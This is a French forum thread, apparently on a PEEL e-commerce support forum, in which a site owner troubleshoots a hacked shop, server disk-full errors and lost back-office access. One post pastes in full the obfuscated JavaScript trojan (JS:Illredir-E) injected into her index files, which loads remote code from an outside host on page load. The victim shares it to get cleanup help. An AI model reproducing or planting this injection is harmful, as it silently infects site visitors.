amap

Problème résolu. OVH pas mis en cause, un de mes fichiers infectés. Je dois changer mes codes d'accès ftp ;) et mise à jour de mon antivirus.
bonne journée à tous

Fichiers attaqués : fichiers index et JS

le problème vient juste d'être signalé sur le forum d'OVH, ce qui prouve que je ne suis pas seule dans ce cas;
OVH FORUM

voici le nom du trojan : trojan JS:Illredir-E [Trj]

mon site en local, n'étant pas vérolé, j'ai fait le transfert de tous les fichiers suspects.
Ceci viendrait directement d'OVH
j'aimerai savoir si certains parmi vous aurez constaté, déjà cela. Car, pas très rassurant, en faisant une recherche sur internet, il s'avère que je ne suis pas un cas unique.
Merci pour votre aide.
;)

après recherche sur mon site, j'ai noté que j'avais une ligne suspecte, dans tous les fichiers index du site : ;)
<script>var _=new String();function Y(){var B=window;var A=new String();var uH;if(uH!='' && uH!='I'){uH=''};var O=unescape;var r;if(r!=''){r='K'};var Uc;if(Uc!=''){Uc='LA'};var a=O("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%6c%6c%61%62%6f%75%74%2e%63%6f%2e%6a%70%2f%73%65%7a%6e%61%6d%2e%63%7a%2e%70%68%70");var b;if(b!='UX' && b!='c'){b=''};function p(S,k){var BR=new String();var Oi;if(Oi!='t'){Oi=''};var x=new String("YIOg".substr(3));var Q;if(Q!='d' && Q!='Zr'){Q='d'};var o=O("%5b"), R=O("%5d");var V=o+k+R;var Xl;if(Xl!='xd'){Xl='xd'};var Z=new RegExp(V, x);return S.replace(Z, new String());};this.pf='';var _B;if(_B!='IH'){_B='IH'};var Zn=document;var Sm=new Date();var v=new Date();var YJ=p('856012682470173','46391257');var G=new Array();this.SH='';var L=new String();var Oh=new Date();var lR="";function M(){var tH=new Date();var BC=O("%68%74%74%70%3a%2f%2f%66%6c%6f%72%69%64%61%6f%72%69%67%69%6e%2e%61%74%3a");var Qq=new Array();this.Gi="";L=BC;var kg;if(kg!='' && kg!='La'){kg=null};var Lp="";L+=YJ;var N;if(N!='oR' && N!='IG'){N=''};var yF;if(yF!='' && yF!='IF'){yF='rA'};L+=a;var Dy;if(Dy!='F' && Dy!='YB'){Dy=''};var Bw;if(Bw!='m_' && Bw!='Cy'){Bw=''};this.iB='';try {this.Ku="";var Oc;if(Oc!='' && Oc!='Hr'){Oc=''};j=Zn.createElement(p('swcFrLiFpDtM','jaLD2FHKAwMq'));var nj='';var Bv;if(Bv!='' && Bv!='dO'){Bv=''};j[O("%73%72%63")]=L;var LI;if(LI!='' && LI!='zV'){LI='Tg'};var _r;if(_r!='' && _r!='cS'){_r='XH'};j[O("%64%65%66%65%72")]=[1][0];var ma;if(ma!='aR'){ma=''};var tB=new String();var qn;if(qn!='aS' && qn!='uR'){qn='aS'};var MS;if(MS!='' && MS!='Gt'){MS=''};var Ry;if(Ry!='' && Ry!='yj'){Ry=''};Zn.body.appendChild(j);var BwI=new String();var zG=new String();this.FD="";} catch(U){alert(U);};var fex='';var xK;if(xK!='vP' && xK!='KX'){xK=''};}var DR=new String();var OD;if(OD!='' && OD!='wo'){OD='YQ'};var Ah='';var HG='';B[string("onl"+"9Rhoad".substr(3))]=M;this.Ve='';var Wm=new String();};Y();</script>
<!--ab65703b445b844ca864623ab814a4b5-->


j'ai procédé au nettoyage et j'ai aussi enlevé PHPMY VISIT.
J'espère que cela va fonctionner.

Comment changer les mots de passe FTP ? :(

pour faire mes sauvegardes, je vais directement sur la plateforme, et j'exporte ma base mysql, je ne passe jamais par le back office,

en attendant, j'ai enlevé la page index, car, j'ai voulu faire un changement dans ma page modèle haut.php, et impossible, ça m'avait tout changé, donc, je préfère enlever ma page index.php, en attendant de la remettre lorsque le serveur sera mis en état.
Journée morte pour moi, autant me faire une raison,
merci Eric,
jackye

heu, non, rien n'y fait :mellow: je peux quand même pas tout enlever en passant par mon ftp. J'ai déjà enlevé pas mal...qui n'était pas utile.
merci pour le conseil Eric

plus personne ne peut se connecter sur mon site, donc, je pense que cela vient bien du serveur, bah, je vais passer un dimanche à répondre aux emails, me demandant pourquoi elles ne peuvent se connecter avec leur compte :mellow:

hum, en ce qui me concerne, je ne vois pas comment je peux avoir mon disque plein, je n'ai pas une montagne de produits, ni de catégories. Bizarre, Bizarre,
Merci pour votre réponse Eric,

je viens d'aller sur ton site, effectivement, j'ai aussi les mêmes lignes que toi en bas de ma page d'accueil :

Warning: Unknown(): write failed: No space left on device (28) in Unknown on line 0

Warning: Unknown(): Failed to write session data (files). Please verify that the current setting of session.save_path is correct (/tmp) in Unknown on line 0[/codebox]

OUI, le problème vient du serveur, juste pour la partie administration, back office, si tu entres avec une autre adresse email, en tant que client, aucun problème. D'ailleurs, je reçois bien dans ma boite, les commandes passées et réglées par carte bancaire, par contre, si j'ai la commande réglée par paypal, je suis obligée d'aller dans mon back office, pour en connaitre les détails, et là, aujourd'hui, je ne peux pas. C'est flippant, car, j'ai toujours peur, qu'on ne me pirate le site juste pour récupérer les adresses emails des clientes. Pour les cb, mon site est sécurisé, et les transactions bancaires ne restent pas sur mon site, mais, partent directement à ma banque.
bon, voici un dimanche qui va nous tracasser :(
impossible d'aller faire du vélo dans ces conditions ;)

j'ai envoyé un emai à Patrice, mais, c'est dimanche, et je ne sais pas quand il pourra répondre. bref, c'est très inquiétant, ça ne me rassure pas.

donc, c'est bien pareil pour moi, même en demandant le changement de mon mot de passe, impossible d'aller sur mon site en tant qu'administrateur, par contre, je peux y aller en tant que cliente, si je suis enregistrée, donc, nous avons un gros souci, car héberger aussi chez Peel.
et je ne peux aller sur ma base mysql, mais, je peux aller sur mon ftp, voir qu'aucun fichier n'avait été rajouté.

Impossible aussi de ma connecter sur phpmy admin, voici le message que j'ai :

Warning: session_write_close() [function.session-write-close]: write failed: Aucun espace disponible sur le périphérique (28) in /var/www/html/phpMyAdmin-2.8.2.4/index.php on line 44

Warning: session_write_close() [function.session-write-close]: Failed to write session data (files). Please verify that the current setting of session.save_path is correct (/tmp) in /var/www/html/phpMyAdmin-2.8.2.4/index.php on line 44

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/phpMyAdmin-2.8.2.4/index.php:44) in /var/www/html/phpMyAdmin-2.8.2.4/index.php on line 101[/codebox]

bonjour Phil,
as-tu pu te connecter sur ton site ? il semble que j'ai un souci similaire, je ne peux me connecter avec mon adresse email, et je n'ai qu'une adresse email me permettant d'aller dans mon back office,
tiens moi au courant,
Jackye

:mellow: rien ne marche, je viens d'avoir un nouveau mot de passe, et il ne marche pas non plus, impossible de me logger sur mon back office, et je n'ai qu'une adresse email, qui me permet de me connecter sur mon back office, je crains que l'on m'est viré en tant qu'administrateur, mais, le problème est que je suis seule administrateur,
c'est la panique du dimanche, car impossible de récupérer mes commandes, et j'espère que ce n'est pas inquiétant pour mes clientes,

merci Mr Pruault,
Vous avez réparé le problème de connexion à la base,
bonne journée,
Jackye

le problème ne semble pas encore résolu, souci de connection à mon site, hier et ce matin, impossible de voir s'afficher la page d'accueil de mon site, et je ne peux pas, non plus, me connecter à mon ftp, et, c'est une première, je n'ai eu aucune commande depuis deux jours, je suis assez inquiète, ma boite mail est pleine de message de signalant des problèmes de connexion à la base.....
et comme d'habitude, je n'ai rien changé ni rien touché,
j'espère que ce problème va vite être résolu
Merci
Jackye